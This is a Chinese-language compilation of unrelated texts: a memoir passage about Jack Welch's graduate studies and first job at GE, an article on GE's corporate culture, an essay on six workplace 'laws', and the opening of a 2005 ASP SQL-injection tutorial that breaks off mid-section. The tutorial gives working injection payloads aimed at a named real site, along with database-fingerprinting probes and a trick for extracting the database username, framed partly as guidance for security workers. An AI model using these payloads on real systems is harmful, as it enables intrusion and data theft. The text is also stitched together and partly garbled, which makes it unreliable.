  在我读大学四年级的时候,很多公司都对我表示了接收的意愿。我有很多很好的可以选择的工作。但是我的教授们都告诫我应该去研究院继续深造。我拒绝了公司的邀请,并决定到尚佩恩(Champaign)的伊利诺伊大学继续学习,因为我获得了那儿的奖学金,而且这所学校一直都稳居化学工程研究能力排名的前五位。我想对我的专业来说,这是一所很好的学校。

  我来到新学校还不到两个星期,就结识了一位漂亮的女生,并约她出去玩。我们这次星期六晚上的约会太尽兴了,最后来到树林中的校园停车场旁边。我那辆大众车的车窗上蒙上了一层水雾,这时一道强光突然射了进来。那是学校的保安警察。接着,尴尬的我们就被抓了起来。我吓呆了,担心随后可能发生的一些后果。

  1950年代是一个保守的年代,社会风气跟现在有很大的差别。而我正好又在更保守的中西部。警察把我们带到了校园派出所,并把我们关在那里,一直到第二天早上四五点钟的时候才让我们回家。

  我的生活出现了危机。我想我可能会失去一切:我的奖学金、获得硕士学位的机会、我的事业。而且最为重要的是,我想到了母亲,如果她知道了我所做的一切,可能会产生什么样的反应。我的命运将在星期一见过教务长后见分晓,他将最后决定如何执行纪律。

  星期日的上午,我积聚了全部的勇气给哈里·德雷克莫(Harry Drickamer)博士打电话,他是化学工程系主任。而我对他的了解仅限于他那粗暴的名声。虽然我很害怕,但我知道他是我惟一的希望。

  “德雷克莫博士,”我说道,“我遇到了一个真正的问题。校园警察因为我瞎胡闹抓住了我。我现在有点不知所措,我需要帮助。”

  我将所发生的一切告诉了他,当时我的裤子差不多都快湿了。

  “该死的,”他回答道,“在我所有的研究生里,你是第一个做出这种事情来的。这件事交给我处理好了,不过你从现在开始最好系好自己的裤子!”

  德雷克莫所做的一切将我从尴尬处境中解救出来。我仍旧需要面对与教务长的艰难交涉,但是我没有被驱逐出校。然而,这次恐怖事件之后,我和哈里走得更近了。我们之间建立了很好的关系。他同样把我当做儿子一样看待。我们为橄榄球比赛打赌。我们在新闻上发生争议。在楼道里,哈里总会无情地嘲笑我,不是因为红袜队的事揶揄我,就拿我日渐稀少的头发开玩笑。

  哈里在我的生活中起到了很重要的影响作用,他在我整个研究生学习中指导了我。我需要这种帮助。在伊利诺伊,我不如布鲁克林理工、哥伦比亚或明尼苏达的同学准备充分。所以在我的第一学年里,我同样也是挣扎着通过的。我必须为我的成绩而奋斗。我怎么看都不像一个明星。

  1958年,我完成了在伊利诺伊的第一学年,本来可以硕士毕业了,但当时整个国家经济不景气。我没有20份工作等着我,只得到两个工作机会:一个是在塔尔萨(Tulsa)附近的俄克拉荷马石油精炼厂,一个是路易斯安那州巴吞鲁日(Baton Rouge)的乙基(Ethyl)公司。在去乙基公司面试的飞机上,我和我伊利诺伊大学的伙伴在一起,这时发生了一件事情。一位空中小姐过来对我说:“韦尔奇先生,想喝点什么吗?”然后她转过去对我的同事说:“加尔特纳(Gaertner)博士,想喝点什么吗?”

  我觉得加尔特纳“博士”比韦尔奇“先生”听起来悦耳多了。我需要做的只是再呆上几年罢了。所以我并没有经过深思熟虑,就决定留在校园里继续攻读我的博士学位。这样做有好处,因为市场不景气,而且我非常喜欢我在伊利诺伊的教授们,特别是德雷克莫和我的论文指导老师吉姆·威斯特沃特(Jim Westwater)博士。

  在研究院,特别是攻读博士学位的时候,生活几乎都是在实验室里度过的。早上8点来,晚上11点回家。有时候我仿佛觉得人们是以你灯亮的时间来判断你的。我的论文主要是写蒸气供应系统中的凝结问题。所以我会花数小时气化水并观察气化水在一个铜盘上凝结。

  日复一日,我用高速照相机拍摄表面上凝结的水滴的几何图案。我从这些实验中推导出了热传导方程。可笑的是,写一篇毕业论文让一个人完全沉迷于其中,还以为自己是在做诺贝尔奖工作哩。

  在吉姆·威斯特沃特的强有力支持下,我只用了三年时间就获得了博士学位,几乎比所有人都要快,因为一般说来,一个典型的研究生需要四到五年才能获得博士学位。我根本不是攻读学位的天才人物。为了学位所要求的两门外语的达标,有一年暑假我连续三个月都在学习法语和德语。我走进考试的教室,把脑袋里的东西往外倒。我往脑子里灌输的所有东西都从脑袋的另一边倒了出来。我倒是通过了考试,但是如果一周后你再问我一个法语或德语单词,我肯定答不出来。我的“知识”在我交上考卷后,立即就被清空了。

  尽管我不是最聪明的学生,但是我可以集中精力去完成工作。有很多更聪明的学生完成他们的论文有困难,他们得不出一个结论,而我,则完全是因为急躁的性格帮了我。

  我一直觉得化学工程是商业职业所需要的最好的背景之一,因为课堂作业和必需的论文都教给你一个很重要的道理:许多问题都是没有限定答案的。真正重要的是你的思维过程。一道典型的考试题可能会像这个样子:一个滑冰者重150磅,在冰面上溜8字花样,冰层厚一英寸。温度每10分钟升高一度,一直到40度,同时风速是每小时20英里。那么这个滑冰者什么时候会掉进冰里?

  这个问题没有标准答案。

  这对于大多数商业问题来说也是一样的。这个过程帮助你更为接近事物阴暗的一面。很少会有非白即黑的解答。而且在更多的情况下,商业中对嗅觉、感觉和触觉的要求和数字一样重要,有时甚至重于数字。如果我们一定要等待完美答案的话,则会错过整个的世界。

  等到1960年我离开伊利诺伊的时候,我已经可以肯定什么是自己喜欢的,什么是自己想要做的,还有同等重要的就是,什么东西是自己不擅长的。虽然我的专业技术还算可以,但无论如何我都不是最出色的科学家。和我的很多同学相比较,我的性格比较外向,我属于那种喜欢人胜过喜欢书、喜欢运动胜过喜欢科技发展的人。我认为对于一份既涉及技术、又涉及商业的工作,这些能力和兴趣将是非常适用的。

  我的这种体会有一点像昔日的一种感觉,我觉得自己是一个相当不错的运动员—但远非是非常出色的。我想做的一些事情使得我和绝大多数博士有所不同。他们一般都会步入大学的课堂去授课,或者到实验室去做实验。我曾经不很认真地考虑过教书,甚至接受了锡拉丘兹大学和西弗吉尼亚大学的面试,不过最后我还是决定放弃这种选择。

  除了学位、长久的友谊以及思考问题的方式,伊利诺伊还给了我另外一样东西:一个了不起的妻子。我第一次看见卡罗琳·奥斯本(Carolyn Osburn)是在学校的天主教堂里,那时是四旬斋(复活节前40日),她和我都在那里做弥撒。不过直到一个共同的朋友在市中心的酒吧里介绍了以后,我们才算真正认识。

  卡罗琳身材修长,漂亮,练达,聪慧。她以优异的成绩从玛丽埃塔学院毕业,并且获得伊利诺伊大学每年1,500美元的奖学金,攻读英国文学硕士学位。1959年1月在篮球赛上第一次约会以后,我们就形影不离了。

  5个月后,我们订了婚,并于11月21日,也就是在我24岁生日后的两天,在她的故乡伊利诺伊的阿灵顿结了婚。

  我们蜜月的大部分时间都是驾着我的大众车穿越乡村、进入加拿大,去接受几份工作的面试。非常幸运,我得到了好几个工作机会,但其中只有两个比较合适:一个是在得克萨斯州贝汤(Baytown)的埃克森(Exxon)公司研发实验室工作,一个是在马萨诸塞州匹兹菲尔德(Pittsfield)的GE新化学开发部门工作。

  GE邀请我去匹兹菲尔德,在那里我遇到了丹·福克斯博士(Dan Fox),他是负责公司新化学构想的科学家。这份工作非常吸引我。开发小组的规模比较小,主要是从事新塑料的研制工作。我觉得能够回到马萨诸塞很好。福克斯就像我以前的教授一样,给我的印象是睿智而且值得信赖。在福克斯身上,我看到了一名教练和楷模的风采,他能使每一个和他共事的人都发挥出自己的潜能。

  在GE公司内部,福克斯已经是一个英雄人物了,因为他为公司发明了历新(Lexan)塑料。GE在1957年就开始销售历新了。这种产品是玻璃和金属的替代品,应用范围非常广泛,从电热咖啡壶到超音速飞机机翼上的轻型涂料,几乎无所不包。

  和其他发明者一样,福克斯早已准备好着手下一个项目了,他希望能够率先研制出一种叫做PPO(Polyphenylene oxide,聚苯撑氧)的热塑产品。他告诉我PPO将会是下一代的伟大产品。他向我描述了这种产品无可匹敌的耐高温特性,还说这种产品甚至可以替代热水铜管和不锈钢医疗器械。他告诉我说,我将是第一个负责把塑料从实验室里拿出去投入生产的员工。于是在一周之后我接受了这份工作。

  然而我没有想到的是,在我1960年10月17日上班的第一天,我马上就感到失望了。

  仅一年的时间,GE的官僚作风几乎迫使我离开这家公司。

  

  
——通用电气的传奇
 
    通用电气公司是一家集技术、制造和服务业为一体的多元化公司,其创始人是著名的美国发明家托马斯·爱迪生,他于1878年创立了爱迪生电灯公司。1892年,爱迪生通用电气公司和汤姆森–休斯顿电气公司合并,成立了通用电气公司。

通用电气公司是自道琼斯工业指数1896年设立以来唯一至今仍在指数榜上的公司。在全球拥有员工近313,000人,目前是世界上市值最高的公司之一,连续数年被世界著名财经日报英国《金融时报》评为"世界最受尊敬的公司",其董事长兼首席执行官杰克·韦尔奇也多次被评为世界最佳首席执行官称号。

韦尔奇自1981年至2001年担任公司总裁,不仅在通用电气公司拥有至高无上的个人魅力,更是商界的传奇人物。韦尔奇1981年担任该公司历史上最年轻的董事长兼首席执行官,在随后的20年中,他一天都没有停止变革,他不仅为GE的股东创造了巨大财富,成为全球第一大公司,还塑造了一个最优秀的企业文化,把一个历史悠久的工业帝国,转变成为一个富有朝气与活力,善于变中求胜,发展潜力无穷的公司楷模。他的成就重新定义了现代企业管理,在上世纪结束的时候,他因此获得了"世纪经理"的美誉,成为几乎所有CEO效仿的典范。韦尔奇对通用乃至世界所作出的最大贡献之一就是塑造了一个最优秀的企业文化。

通用电气的企业文化

在韦尔奇的价值观中,企业成功最重要的的就是企业文化,他的管理理论中认为企业的根本是战略,而战略的本质就是企业文化。通用永远推崇三个传统,即:坚持诚信, 注重业绩, 渴望变革。诚信是人之本,也是企业立身之本,作为世界上首屈一指的大公司,通用不因为规模而害怕变革,而是主动出击,利用企业规模优势,勇于冒险并尝试新事物。

对不断变革的承诺使得通用一百年来一直愿意尝试新事物,总愿意进行变革。有成功的事情,但那是过去的成功,通用并不感到满足,而总是从新、从头做起,这就是通用电气对变革的承诺。通用大力对人才进行投入,而且有着良好的、以业绩为主的文化。大胆抓住每个机会,应对每个挑战,不懈追求更快、更好。这些就是通用电气的文化精髓。

通用电气认为,推动公司不断高速发展的两大法宝就是其独特的价值观和营运系统。

这个营运系统是通用电气不断学习的文化的实际体现–从本质上说,就是公司的操作软件。公司营运系统的重心永远放在提高公司的业绩水平上,其采用的手段就是从通用电气在全公司范围内推行的重大举措中吸取最佳的创意和做法,分享这些创意和做法并将它们付诸实施。

这个营运系统的推动力就是通用电气的软性价值观–信任、不拘形式、简化、无边界的行为和乐于变革。这个体系将使通用电气的各行各业取得它们在单兵作战的情况下所无法取得业绩水平和速度。

韦尔奇的经营理念

韦尔奇的经营理念给人最深刻的印象是:竞争,竞争,再竞争;沟通,沟通,再沟通。可以说,韦尔奇在通用电气的变革都是围绕着"竞争"与"沟通"的指导思想展开的。

  竞争,对韦尔奇而言,已不是只是获取成功的必由之路,它更是一种每天持续不断的工作状态。竞争越激烈,他的生活就越是充实。他认为:"我们每天都在全球竞争战场的刀光剑影中工作。而且在每一回合的打斗之间,甚至没有片刻时间休息?quot;对于竞争的价值,韦尔奇曾表示:美国最繁荣的时刻正是它竞争得最残酷的时刻。"最残酷的竞争时刻同时却是最令人心奋 最有犒赏价值 最感到充实的时刻,因为 它是公司拓展疆域的契机。"

没有竞争,就不会有发展。不仅仅国家经济是这样,一个行业、一个企业乃至一个人都是如此。美国人正是认清了这一点,因而对"竞争"不仅不畏惧,反而有一种近乎执着的追求:谁想消灭竞争,他们的法律就先消灭谁。有了竞争,大家才有机会。才有更快的发展。

随心所欲地沟通,是企业前进的命脉

  什么能确保我们在竞争中不断进取?韦尔奇的理念中认为是"顺畅地沟通"。企业的成败最终都要基于企业能否构建一种利于"沟通"的机制。

  企业界都已认识到"应变"在今天的重要,而我们在应变上之所以做得不好很大程度上就是企业缺少沟通 甚至有意阻碍沟通所致。没有顺畅的沟通就谈不上机敏的应变。而"沟通"在韦尔奇眼中又是多面性的,它包括:企业内部的:上下级之间的沟通、企业各部门之间的沟通;企业与客户之间的沟通和企业与供应商之间的沟通等等。

  一位通用电气的经理曾这样生动地描述韦尔奇:"他会追着你满屋子团团转,不断地和你争论,反对你的想法。而你必须要不断地反击,直到说服他同意你的思路为止–而这时。你可以确信这件事你一定能成功。"这就是沟通的价值。韦尔奇自己说:"我们希望人们勇于表达反对的意见,呈现出所有的事实面,并尊重不同的观点。这是我们化解矛盾的方法。""良好的沟通就是让每个人对事实都有相同的意见,进而能够为他们的组织制定计划。真实的沟通是一种就是让每一个人对事实都有相同的意见,进而能够为他们的组织制定计划。真实的沟通是一种态度与环境,它是所有过程中最具互动性的,其目的在于创造一致性。"沟通就是为了达到共识,而现实沟通的前提就是让所有人一起面对现实。

  高速成长,首先要变革企业文化

  为了使企业能更具竞争力、能更好地沟通,在"硬件"上,韦尔奇大力裁减规模,进而构建扁平化结构、重组通用电气;在"软件"上,则尽力试图改变整个企业的文化与员工的思考模式,韦尔奇为"软件"革命是不遗余力的,因为他看到了:"如果你想让列车再快10公里,只需要加一加马力;而若想使车速增加一倍,你就必须要更换铁轨了。资产重组可以一时提高公司的生产力,但若没有文化上的改变,就无法维持高生产力的发展。"

  变革文化之一:减少工作,做真正该的事

  韦尔奇在谈到企业领导的"忙碌"与"闲适"时说:"有人告诉我他一周工作90个小时,我会说:’你完全错了。写下20件每周让你忙碌90个小时的工作,仔细审视后,你将会发现其中至少有10项工作是没有意义的–或是可以请人代劳的。

   韦尔奇认为,"勤奋"对于成功是必要的,但它只有在"做正确的事"与"必须亲自操作"时才有正面意义。那么抽出时间与精力后我们该干什么呢?韦尔奇的选择是寻找合适的经理人员并激发他们的工作动机。

  “有想法的人就是英雄。我主要的工作就是去发掘出一些很棒的想法,扩张它们,并且以光速般的速度将它们扩展到每一个角落。我坚信自己的工作是一手拿着水罐,一手拿着化学肥料,让所有的事情变得枝繁叶茂。”

  韦尔奇虽然说的只是他自己,但这也应该是企业各个层级、部门努力的方向。只有想明白自己最该做什么,才能提高自己的办事效率;也只有放开那些本不需要自己操心的工作,才能调动别人的工作热情,从而改善整个企业的运转效能。

  变革文化之二:不断超越自我

  韦尔奇提出了一个"扩展"的概念。它的内涵是不断想员工提出似乎过高的要求。"’扩展’的意念为:当我们想要达成这些看似不可能的目标时,自己就往往就会使出浑身解数,展现出一些非凡的能力;而且,即使到最后我们仍然没有成功,我们的表现也会比过去更加出色。"

  在通用电气,"扩展性目?quot;只是一种激励的手段,而并非考核的标准,"年终时,我们所衡量的并非是否实现了目标,而是与前一年的成绩相比,在排除环境变因的情况下是否有显著的成长与进步。当员工遭受挫折时,我会以正面的酬赏来鼓舞他们,因为他们至少已经开始改变。若是因为失败而受到处罚,大家就不敢轻举妄动了。"

  变革文化之三:更精简、更迅捷、更自信

  "精简、迅捷、自信"在韦尔奇眼中是现代企业走向成功的三个必备条件。

  一是精简,精简的内涵首先是内心思维的集中。韦尔奇要求所有经理人员必须用书面形式回答他设定的5个策略性问题。这些问题主要涉及我们的过去、现在、和未来,以及对手的过去、现在和未来。我们不难理解这样做的好处:扼要的问馐鼓忝靼鬃约赫嬲没奔淙ニ伎嫉牡降资鞘裁矗欢槊娴男问皆蚯科饶惚匦氚炎约旱乃夹髡淼酶逦⒏刑趵怼?

  二是迅捷,韦尔奇坚称:只有速度足够的企业才能继续生存下去。他认为,世界正变得越来越不可预测,而唯一可以肯定的就是,我们必须先发制人来适应环境的变化。同时,新产品的开发速度也必须加快,因为现在市场变化的速度不断加快、产品的生命周期在不断缩短。

  而"精简"的目的,正是为了更好地实现"迅捷"。简明的信息流传得更快,精巧的设计更易大入市场,而扁平的组织则利于更果断地决策。

  三是对于自信,韦尔奇给予了极大的重视,他甚至把"永远自信"列入了美国能够领先于世界的三大法宝之一。他看到:迅捷源于精简,精简的基础则是自信。而培养企业员工自信心的办法就是放权与尊重:

  韦尔奇的企业价值观

  韦尔奇认为任何企业都有两类问题:硬性问题和软性问题。硬性问题包括财务、营销、技术和生产等,而软性问题是关于价值观、士气和沟通等。硬性问题通常会影响到企业的底线–利润线;而软性问题则会影响企业的上线–营业收入总额。

  韦尔奇认为每个组织都需要有价值观,精干的组织尤其必要,你必须在众人面前挺身而出,坚持不懈地传达你的价值观,价值观的形成是长远的挑战。韦尔奇从1985年开始,在公司年报中增加了价值观的声明一项就是他这一看法的体现。

  韦尔奇通过群策群力的方法开放了通用电气的企业文化,使之能够接受来自每一个人和每一个地方的创意;消除了官僚主义。
 

社会交往中的六大著名法则

一、马太效应

  《新约:马太福音》中有这样一个故事:
  一个国王远行前,交给三个仆人每人一锭银子,吩咐他们:“你们去做生意,等我回来时,再来见我。”国王回来时,第一个仆人说:“主人,你交给我们的一锭银子,我已赚了十锭。”于是国王奖励他十座城邑。第二个仆人报告说:“主人,你给我的一锭银子,我已赚了五锭。”于是国王例奖励了他五座城邑。第三个仆人报告说:“主人,你给我的一锭银子,我一直包在手巾里存着,我怕丢失,一直没有拿出来。”于是国王命令将第三个仆人的一锭银子也赏给第一个仆人,并且说:“凡是少的,就连他所有的也要夺过来。凡是多的,还要给他,叫他多多益善。”
  这就是马太效应。看看我们周围,就可以发现许多马太效应的例子。
  朋友多的人会借助频繁的交往得到更多的朋友;缺少朋友的人会一直孤独下去。金钱方面更是如此,即使投资回报率相同,一个比别人投资多十倍的人,收益也多十倍。
  这是个赢家通吃的社会,善用马太效应,赢家就是你。对企业经营发展而言,马太效应则告诉我们,要想在某一个领域保持优势,就必须在此领域迅速做大。当你成为某个领域的领头羊的时候,即使投资回报率相同,你也能更轻易的获得比弱小的同行更大的收益。而若没有实力迅速在某个领域做大,就要不停地寻找新的发展领域,才能保证获得较好的回报。

二、不值得定律

  不值得定律最直观的表述是:不值得做的事情,就不值得做好,这个定律似乎再简单不过了,但它的重要性却时时被人们疏忘。不值得定律反映出人们的一种心理,一个人如果从事的是一份自认为不值得做的事情,往往会保持冷嘲热讽,敷衍了事的态度。不仅成功率小,而且即使成功,也不会觉得有多大的成就感。
  哪些事值得做呢?一般而言,这取决于三个因素。
1、价值观。
  关于价值观我们已经谈了很多,只有符合我们价值观的事,我们才会满怀热情去做。
2、个性和气质。
  一个人如果做一份与他的个性气质完全背离的工作,他是很难做好的,如一个好交往的人成了档案员,或一个害羞者不得不每天和不同的人打交道。
3、现实的处境。
  同样一份工作,在不同的处境下去做,给我们的感受也是不同的。例如,在一家大公司,如果你最初做的是打杂跑腿的工作,你很可能认为是不值得的,可是,一旦你被提升为领班或部门经理,你就不会这样认为了。总结一下,值得做的工作是:符合我们的价值观,适合我们的个性与气质,并能让我们看到期望。如果你的工作不具备这三个因素,你就要考虑换一个更合适的工作,并努力做好它。因此,对个人来说,应在多种可供选择的奋斗目标及价值观中挑选一种,然后为之而奋斗。。“选择你所爱的,爱你所选择的”,才可能激发我们的奋斗毅力,也才可以心安理得。而对一个企业或组织来说,则要很好地分析员工的性格特性,合理分配工作,如让成就欲较强的职工单独或牵头来完成具有一定风险和难度的工作,并在其完成时给予定时的肯定和赞扬;让依附欲较强的职工更多地参加到某个团体中一起工作;让权力欲较强的职工担任一个与之能力相适应的主管。同时要加强员工对企业目标的认同感,让员工感觉到自己所做的工作是值得的,这样才能激发职工的热情。

三、手表定理

  手表定理是指一个人有一只表时,可以知道现在是几点钟,而当他同时拥有两只表时却无法确定。
  两只表并不能告诉一个人更准确的时间,反而会让看表的人失去对准确时间的信心。你要做的就是选择其中较信赖的一只,尽力校准它,并以此作为你的标准,听从它的指引行事。
  记住尼采的话:“兄弟,如果你是幸运的,你只需有一种道德而不要贪多,这样,你过桥更容易些。”如果每个人都“选择你所爱,爱你所选择”,无论成败都可以心安理得。
  然而,困扰很多人的是:他们被“两只表”弄得无所,心身交瘁,不知自己该信仰哪一个,还有人在环境、他人的压力下,违心选择了自己并不喜欢的道路,为此而郁郁终生,即使取得了受人瞩目的成就,也体会不到成功的快乐。
  手表定理在企业经营管理方面给我们一种非常直观的启发,就是对同一个人或同一个组织的管理不能同时采用两种不同的方法,不能同时设置两个不同的目标。甚至每一个人不能由两个人来同时指挥,否则将使这个企业或这个人无所适从。
  手表定理所指的另一层含义在于每个人都不能同时挑选两种不同的价值观,否则,你的行为将陷于混乱。

四、华盛顿合作规律

  华盛顿合作规律说的是:一个人敷衍了事,两个人互相推诿,三个人则永无成事之日。
  多少有点类似于我们“三个和尚”的故事。
  人与人的合作不是人力的简单相加,而是要复杂和微妙得多。在人与人的合作中,假定每个人的能力都为一,那么十个人的合作结果就有时比十大得多,有时甚至比一还要小。因为人不是静止的动物,而更像方向各异的能量,相推动时自然事半功倍,相互抵触时则一事无成。我们传统的管理理论中,对合作研究得并不多,最直观的反映就是,目前的大多数管理制度和行业都是致力于减少人力的无谓消耗,而非利用组织提高人的效能。
  换言之,不妨说管理的主要目的不是让每个人做到最好,而是避免内耗过多。21世纪将是一个合作的时代,值得庆幸的是,越来越多的人已经认识到真诚合作的重要性,正在努力学习合作。
  邦尼人力定律:一个人一分钟可以挖一个洞,六十个人一秒种却挖不了一个洞。合作是一个问题,如何合作也是一个问题。

五、零和游戏原理

  当你看到两位对弈者时,你就可以说他们正在玩“零和游戏”。
  因为在大多数情况下,总会有一个赢,一个输,如果我们把获胜计算为得1分,而输棋为-1分,那么,这两人得分之和就是:1+(-1)=0.这正是“零和游戏”的基本内容:游戏者有输有赢,一方所赢正是另一方所输,游戏的总成绩永远是零。
  零和游戏原理之所以广受关注,主要是因为人们发现在社会的方方面面都能发现与“零和游戏”类似的局面,胜利者的光荣后面往往隐藏着失败者的辛酸和苦涩。
  从个人到国家,从政治到经济,似乎无不验证了世界正是一个巨大的“零和游戏”场。这种理论认为,世界是一个封闭的系统,财富、资源、机遇都是有限的,个别人、个别地区和个别国家财富的增加必然意味着对其他人、其他地区和国家的掠夺,这是一个“邪恶进化论”式的弱肉强食的世界。
  但20世纪人类在经历了两次世界大战,经济的高速增长、科技进步、全球化以及日益严重的环境污染之后,“零和游戏”观念正逐渐被“双赢”观念所取代。人们开始认识到“利己”不一定要建立在“损人”的基础上。通过有效合作,皆大欢喜的结局是可能出现的。
  但从“零和游戏”走向“双赢”,要求各方要有真诚合作的精神和勇气,在合作中不要耍小聪明,不要总想占别人的小便宜,要遵守游戏规则,否则“双赢”的局面就不可能出现,最终吃亏的还是自己。

六、彼得原理

  彼得原理是美国学者劳伦斯彼得在对组织中人员晋升的相关现象研究后得出的一个结论;在各种组织中,由于习惯于对在某个等级上称职的人员进行晋升提拔,因而雇员总是趋向于晋升到其不称职的地位。
  彼得原理有时也被称为“向上爬”原理。
  这种现象在现实生活中无处不在:一名称职的教授被提升为大学校长后无法胜任;一个优秀的运动员被提升为主管体育的官员,而无所作为。
  对一个组织而言,一旦组织中的相当部分人员被推到了其不称职的级别,就会造成组织的人浮于事,效率低下,导致平庸者出人头地,发展停滞。因此,这就要求改变单纯的“根据贡献决定晋升”的企业员工晋升机制,不能因某个人在某一个岗位级别上干得很出色,就推断此人一定能够胜任更高一级的职务。
  要建立科学、合理的人员选聘机制,客观评价每一位职工的能力和水平,将职工安排到其可以胜任的岗位。不要把岗位晋升当成对职工的主要奖励方式,应建立更有效的奖励机制,更多地以加薪、休假等方式作为奖励手段。有时将一名职工晋升到一个其无法很好发挥才能的岗位,不仅不是对职工的奖励,反而使职工无法很好发挥才能,也给企业带来损失。
  对个人而言,虽然我们每个人都期待着不停地升职,但不要将往上爬作为自己的惟一动力。与其在一个无法完全胜任的岗位勉力支撑、无所适从,还不如找一个自己能游刃有余的岗位好好发挥自己的专长。

2005年05月20日
      引  言
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
    但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let’s Go…
入 门 篇
如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
第一节、SQL注入原理
以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:
Microsoft JET Database Engine 错误 ‘80040e14′
字符串的语法错误 在查询表达式 ‘ID=49” 中。
/showdetail.asp,行8
从这个错误提示我们能看出下面几点:
1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
第二节、判断能否进行SQL注入
看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?
其实,这并不是最好的方法,为什么呢?
首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
http://www.19cn.com/showdetail.asp?id=49
http://www.19cn.com/showdetail.asp?id=49 and 1=1
http://www.19cn.com/showdetail.asp?id=49 and 1=2
这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
可以注入的表现:
① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。
第三节、判断数据库类型及注入方法
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.19cn.com/showdetail.asp?id=49 and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
进 阶 篇
在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A)  ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
